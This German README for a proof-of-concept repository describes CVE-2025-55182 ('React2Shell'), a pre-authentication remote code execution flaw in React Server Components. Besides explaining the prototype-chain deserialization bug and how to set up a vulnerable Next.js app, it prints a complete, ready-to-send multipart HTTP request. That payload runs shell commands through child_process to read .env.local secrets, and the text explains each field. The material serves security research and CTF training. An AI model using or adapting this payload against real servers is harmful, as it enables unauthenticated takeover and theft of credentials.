
Dieses Repository enthält einen POC von CVE-2025-55182, einer kritischen (CVSS-Score 10.0) Pre-Authentication-Remote-Code-Execution-Schwachstelle, die React Server Components betrifft, auch bekannt als React2Shell.
⚠️ WARNUNG: Dieses Repository dient ausschließlich zu Bildungs- und Sicherheitsforschungszwecken. Nutzen Sie diesen Exploit nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.
Dieses Repository enthält eine Proof-of-Concept-Demonstration von CVE-2025-55182, einer kritischen, vor der Authentifizierung ausnutzbaren Remote-Code-Ausführungsschwachstelle, die React Server Components betrifft.
CVSS-Score: 10,0 (Kritisch)
Betroffene Versionen:
react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpackCVE-2025-55182 ist eine unsichere Deserialisierungsschwachstelle in der Flight-Protokoll-Implementierung von React Server Components. Die Schwachstelle ermöglicht es nicht authentifizierten Angreifern, beliebigen JavaScript-Code auf dem Server auszuführen, indem sie manipulierte Payloads erstellen, die Prototype-Chain-Traversal und unsichere Property-Zugriffsmuster ausnutzen.
Die Schwachstelle beruht darauf, wie React Server Components Flight-Protokoll-Payloads deserialisieren. Bei der Verarbeitung von Modulreferenzen verwendet der Code die Bracket-Notation, um auf Eigenschaften zuzugreifen (moduleExports[metadata[2]]), was die gesamte JavaScript-Prototype-Kette durchläuft. Dies ermöglicht es Angreifern, auf Eigenschaften zuzugreifen, die nicht explizit exportiert wurden, einschließlich der Eigenschaft constructor, die Zugriff auf den globalen Function-Konstruktor bietet.
Durch die Verkettung von Prototype-Pollution-Techniken mit den internen Chunk-Verarbeitungsmechanismen von React kann ein Angreifer einen Payload erstellen, der letztendlich über den Function-Konstruktor beliebigen Code ausführt.
Erstellen Sie ein neues Projekt mit einer Version, die die anfälligen React Server Components enthält:
npx [email protected] poc-react2shell
cd poc-react2shell
Oder verwenden Sie dieses Repository.
Erstellen Sie eine .env.local-Datei im Projektstammverzeichnis, um die Auswirkungen der Schwachstelle zu demonstrieren:
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Starten Sie den Next.js-Entwicklungsserver:
npm run dev
Der Server sollte unter http://localhost:3000 starten.
http://localhost:3000/POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 752
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
Die Antwort sollte den Inhalt Ihrer .env.local-Datei im Antworttext enthalten:

Der Payload besteht aus drei Multipart-Formularfeldern:
Feld 0: Ein gefälschtes Chunk-Objekt, das Folgendes enthält:
$1:__proto__:then)$B1337), die den Exploit auslöst_response-Objekt mit bösartigem _prefix und _formData.getFeld 1: Ein Verweis auf Feld 0 ($@0)
Feld 2: Ein leeres Array ([])
Der schädliche Code in _prefix liest .env.local mit Node.js child_process.execSync und bettet das Ergebnis in einen Error-Digest ein.
Diese Schwachstelle ermöglicht Angreifern Folgendes:
Üben Sie diese CVE in einem realistischen Szenario
Möchten Sie CVE-2025-55182 in einer praktischen CTF-Umgebung ausnutzen? Werfen Sie einen Blick auf OSS OopsSec Store, ein absichtlich anfälliges Labor für offensive Sicherheitsschulungen. Diese CVE ist als eines der Flags implementiert!
Dieser Proof of Concept dient ausschließlich zu Bildungszwecken und für Sicherheitsforschung. Stellen Sie immer sicher, dass Sie eine ausdrückliche schriftliche Erlaubnis haben, bevor Sie Sicherheitsschwachstellen auf einem System testen.